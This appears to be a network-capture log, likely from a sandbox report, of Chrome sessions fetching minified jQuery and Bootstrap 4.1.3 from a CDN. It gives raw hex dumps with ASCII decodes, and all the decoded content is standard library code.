2025-01-30 18:26:43 UTC	1378	IN	Data Raw: 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6b 2e 63 61 6c 6c 28 61 29 29 26 26 28 21 28 62 3d 65 28 61 29 29 7c 7c 28 63 3d 6c 2e 63 61 6c 6c 28 62 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 62 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 26 26 6d 2e 63 61 6c 6c 28 63 29 3d 3d 3d 6e 29 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 66 6f 72 28 62 20 69 6e 20 61 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 74 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 61 2b 22 22 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 Data Ascii: ject Object]"!==k.call(a))&&(!(b=e(a))\|\|(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a\|\|"function"==typ
2025-01-30 18:26:43 UTC	1378	IN	Data Raw: 6e 6f 77 2c 73 75 70 70 6f 72 74 3a 6f 7d 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 28 72 2e 66 6e 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 63 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 29 2c 72 2e 65 61 63 68 28 22 42 6f 6f 6c 65 61 6e 20 4e 75 6d 62 65 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 20 53 79 6d 62 6f 6c 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 6a 5b 22 5b 6f 62 6a 65 63 74 20 22 2b 62 2b 22 5d 22 5d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 77 28 61 29 7b 76 61 72 20 62 3d 21 21 61 26 26 22 6c 65 Data Ascii: now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"le
2025-01-30 18:26:43 UTC	1378	IN	Data Raw: 22 29 22 29 2c 43 4c 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 4c 2b 22 29 22 29 2c 54 41 47 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 22 2b 4c 2b 22 7c 5b 2a 5d 29 22 29 2c 41 54 54 52 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 29 2c 50 53 45 55 44 4f 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4e 29 2c 43 48 49 4c 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 3a 28 6f 6e 6c 79 7c 66 69 72 73 74 7c 6c 61 73 74 7c 6e 74 68 7c 6e 74 68 2d 6c 61 73 74 29 2d 28 63 68 69 6c 64 7c 6f 66 2d 74 79 70 65 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 65 76 65 6e 7c 6f 64 64 7c 28 28 5b 2b 2d 5d 7c 29 28 5c 5c 64 2a 29 6e 7c 29 22 2b 4b 2b 22 2a 28 3f 3a 28 5b 2b 2d 5d 7c 29 22 2b 4b 2b 22 2a 28 5c 5c 64 2b 29 7c 29 29 22 2b 4b Data Ascii: ")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"\|[])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only\|first\|last\|nth\|nth-last)-(child\|of-type)(?:\\("+K+"(even\|odd\|(([+-]\|)(\\d)n\|)"+K+"(?:([+-]\|)"+K+"*(\\d+)\|))"+K
2025-01-30 18:26:43 UTC	1378	IN	Data Raw: 3d 3d 77 26 26 31 31 21 3d 3d 77 29 72 65 74 75 72 6e 20 64 3b 69 66 28 21 65 26 26 28 28 62 3f 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 3a 76 29 21 3d 3d 6e 26 26 6d 28 62 29 2c 62 3d 62 7c 7c 6e 2c 70 29 29 7b 69 66 28 31 31 21 3d 3d 77 26 26 28 6c 3d 5a 2e 65 78 65 63 28 61 29 29 29 69 66 28 66 3d 6c 5b 31 5d 29 7b 69 66 28 39 3d 3d 3d 77 29 7b 69 66 28 21 28 6a 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 29 72 65 74 75 72 6e 20 64 3b 69 66 28 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 28 6a 29 2c 64 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6a 3d 73 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 26 26 74 28 62 2c 6a 29 26 26 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 Data Ascii: ==w&&11!==w)return d;if(!e&&((b?b.ownerDocument\|\|b:v)!==n&&m(b),b=b\|\|n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push
2025-01-30 18:26:43 UTC	1378	IN	Data Raw: 20 6d 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 22 69 6e 70 75 74 22 3d 3d 3d 63 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 28 22 69 6e 70 75 74 22 3d 3d 3d 63 7c 7c 22 62 75 74 74 6f 6e 22 3d 3d 3d 63 29 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 22 66 6f 72 6d 22 69 6e 20 62 3f 62 2e 70 61 Data Ascii: ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c\|\|"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.pa
2025-01-30 18:26:43 UTC	1378	IN	Data Raw: 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 7c 7c 21 6e 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 28 75 29 2e 6c 65 6e 67 74 68 7d 29 2c 63 2e 67 65 74 42 79 49 64 3f 28 64 2e 66 69 6c 74 65 72 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 72 65 70 6c 61 63 65 28 5f 2c 61 61 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 Data Ascii: getElementsByName\|\|!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a)
2025-01-30 18:26:43 UTC	1378	IN	Data Raw: 2e 70 75 73 68 28 22 5b 2a 5e 24 5d 3d 22 2b 4b 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 73 65 6c 65 63 74 65 64 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 5c 5c 5b 22 2b 4b 2b 22 2a 28 3f 3a 76 61 6c 75 65 7c 22 2b 4a 2b 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 69 64 7e 3d 22 2b 75 2b 22 2d 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 7e 3d 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 75 2b 22 2b 2a 22 29 2e Data Ascii: .push("[^$]="+K+"(?:''\|\"\")"),a.querySelectorAll("[selected]").length\|\|q.push("\\["+K+"(?:value\|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length\|\|q.push("~="),a.querySelectorAll(":checked").length\|\|q.push(":checked"),a.querySelectorAll("a#"+u+"+").
2025-01-30 18:26:43 UTC	1378	IN	Data Raw: 65 29 69 66 28 62 3d 3d 3d 61 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 42 3d 62 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 64 3d 21 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 64 3f 64 3a 28 64 3d 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 3d 3d 3d 28 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 29 3f 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 62 29 3a 31 2c 31 26 64 7c 7c 21 63 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 Data Ascii: e)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument\|\|a)===(b.ownerDocument\|\|b)?a.compareDocumentPosition(b):1,1&d\|\|!c.sortDetached&&b.compareDocu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	50075	104.18.11.207	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:26:42 UTC	663	OUT	GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://office.docmanagementsystem.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:26:43 UTC	966	IN	HTTP/1.1 200 OK Date: Thu, 30 Jan 2025 18:26:43 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"67176c242e1bdc20603c878dee836df3" Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 10/04/2024 02:53:43 CDN-EdgeStorageId: 1029 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 1 CDN-RequestId: 7fedeed1ac4f734c4f5baf0abe375bbe CDN-Cache: HIT CF-Cache-Status: HIT Age: 820307 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 90a3830b3de94340-EWR alt-svc: h3=":443"; ma=86400
2025-01-30 18:26:43 UTC	403	IN	Data Raw: 37 62 65 64 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7bed/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 68 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 Data Ascii: fine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defi
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 2c 50 6e 2c 6a 6e 2c 48 6e 2c 4c 6e 2c 52 6e 2c 78 6e 2c 57 6e 2c 55 6e 2c 71 6e 2c 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 69 28 74 68 69 73 29 2e 6f 6e 65 28 6c 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3d 21 30 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 7c 7c 6c 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 65 29 7d 2c 74 29 2c 74 68 69 73 7d 76 61 72 20 6c 3d 7b 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 3a 22 62 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 67 65 74 55 49 44 Data Ascii: ,Pn,jn,Hn,Ln,Rn,xn,Wn,Un,qn,Fn=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSITION_END,function(){n=!0}),setTimeout(function(){n\|\|l.triggerTransitionEnd(e)},t),this}var l={TRANSITION_END:"bsTransitionEnd",getUID
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 61 6e 64 6c 65 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 6c 7d 28 65 29 2c 4b 6e 3d 28 6e 3d 22 61 6c 65 72 74 22 2c 61 3d 22 2e 22 2b 28 6f 3d 22 62 73 2e 61 6c 65 72 74 22 29 2c 63 3d 28 72 3d 65 29 2e 66 6e 5b 6e 5d 2c 75 3d 7b 43 4c 4f 53 45 3a 22 63 6c 6f 73 65 22 2b 61 2c 43 4c 4f 53 45 44 3a 22 63 6c 6f 73 65 64 22 2b 61 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 61 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 66 3d 22 61 6c 65 72 74 22 2c 64 3d 22 66 61 64 65 22 2c 67 3d 22 73 68 6f 77 22 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 69 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 Data Ascii: andler.apply(this,arguments)}},l}(e),Kn=(n="alert",a="."+(o="bs.alert"),c=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"},f="alert",d="fade",g="show",_=function(){function i(t){this._element=t}var t=i.prototype;retur
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 5f 2e 5f 68 61 6e 64 6c 65 44 69 73 6d 69 73 73 28 6e 65 77 20 5f 29 29 2c 72 2e 66 6e 5b 6e 5d 3d 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 72 2e 66 6e 5b 6e 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 5f 2c 72 2e 66 6e 5b 6e 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 66 6e 5b 6e 5d 3d 63 2c 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 5f 29 2c 4d 6e 3d 28 70 3d 22 62 75 74 74 6f 6e 22 2c 79 3d 22 2e 22 2b 28 76 3d 22 62 73 2e 62 75 74 74 6f 6e 22 29 2c 45 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 3d 28 6d 3d 65 29 2e 66 6e 5b 70 5d 2c 54 3d 22 61 63 74 69 76 65 22 2c 62 3d 22 62 74 6e 22 2c 49 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 5e 3d 22 62 75 74 74 6f 6e 22 5d 27 Data Ascii: _._handleDismiss(new _)),r.fn[n]=_._jQueryInterface,r.fn[n].Constructor=_,r.fn[n].noConflict=function(){return r.fn[n]=c,_._jQueryInterface},_),Mn=(p="button",y="."+(v="bs.button"),E=".data-api",C=(m=e).fn[p],T="active",b="btn",I='[data-toggle^="button"]'
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 74 29 7b 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 76 61 72 20 65 3d 74 2e 74 61 72 67 65 74 3b 6d 28 65 29 2e 68 61 73 43 6c 61 73 73 28 62 29 7c 7c 28 65 3d 6d 28 65 29 2e 63 6c 6f 73 65 73 74 28 4e 29 29 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 6d 28 65 29 2c 22 74 6f 67 67 6c 65 22 29 7d 29 2e 6f 6e 28 4f 2e 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 50 49 2c 49 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6d 28 74 2e 74 61 72 67 65 74 29 2e 63 6c 6f 73 65 73 74 28 4e 29 5b 30 5d 3b 6d 28 65 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 53 2c 2f 5e 66 6f 63 75 73 28 69 6e 29 3f 24 2f 2e 74 65 73 74 28 74 2e 74 79 70 65 29 29 7d 29 2c 6d 2e 66 6e 5b 70 5d 3d 6b 2e 5f 6a 51 75 65 72 79 49 Data Ascii: t){t.preventDefault();var e=t.target;m(e).hasClass(b)\|\|(e=m(e).closest(N)),k._jQueryInterface.call(m(e),"toggle")}).on(O.FOCUS_BLUR_DATA_API,I,function(t){var e=m(t.target).closest(N)[0];m(e).toggleClass(S,/^focus(in)?$/.test(t.type))}),m.fn[p]=k._jQueryI
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 6e 74 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20 74 3d 6f 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6c 69 64 65 28 71 29 7d 2c 74 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 21 64 6f 63 75 6d 65 6e 74 2e 68 69 64 64 65 6e 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 26 26 22 68 69 64 64 65 6e 22 21 3d 3d 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 63 73 73 28 22 76 69 73 69 62 69 6c 69 74 Data Ascii: his._element.querySelector(nt),this._addEventListeners()}var t=o.prototype;return t.next=function(){this._isSliding\|\|this._slide(q)},t.nextWhenVisible=function(){!document.hidden&&P(this._element).is(":visible")&&"hidden"!==P(this._element).css("visibilit
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 6c 28 7b 7d 2c 57 2c 74 29 2c 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 6a 2c 74 2c 55 29 2c 74 7d 2c 74 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6b 65 79 62 6f 61 72 64 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4b 45 59 44 4f 57 4e 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 5f 6b 65 79 64 6f 77 6e 28 74 29 7d 29 2c 22 68 6f 76 65 72 22 3d 3d 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 70 61 75 73 65 26 26 28 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4d 4f 55 53 45 45 4e 54 45 52 Data Ascii: =function(t){return t=l({},W,t),Fn.typeCheckConfig(j,t,U),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&P(this._element).on(Q.KEYDOWN,function(t){return e._keydown(t)}),"hover"===this._config.pause&&(P(this._element).on(Q.MOUSEENTER
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 29 7b 76 61 72 20 65 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 24 29 29 3b 50 28 65 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 56 29 3b 76 61 72 20 6e 3d 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 63 68 69 6c 64 72 65 6e 5b 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 29 5d 3b 6e 26 26 50 28 6e 29 2e 61 64 64 43 6c 61 73 73 28 56 29 7d 7d 2c 74 2e 5f 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 2c 69 2c 72 2c 6f 3d 74 68 69 73 2c Data Ascii: ement=function(t){if(this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll($));P(e).removeClass(V);var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&P(n).addClass(V)}},t._slide=function(t,e){var n,i,r,o=this,
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 74 2e 74 6f 28 69 29 3b 65 6c 73 65 20 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 6e 2b 27 22 27 29 3b 74 5b 6e 5d 28 29 7d 65 6c 73 65 20 65 2e 69 6e 74 65 72 76 61 6c 26 26 28 74 2e 70 61 75 73 65 28 29 2c 74 2e 63 79 63 6c 65 28 29 29 7d 29 7d 2c 6f 2e 5f 64 61 74 61 41 70 69 43 6c 69 63 6b 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 69 73 29 3b 69 66 28 65 29 7b 76 61 72 20 6e 3d 50 28 65 29 5b 30 5d 3b 69 66 Data Ascii: t.to(i);else if("string"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},o._dataApiClickHandler=function(t){var e=Fn.getSelectorFromElement(this);if(e){var n=P(e)[0];if

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
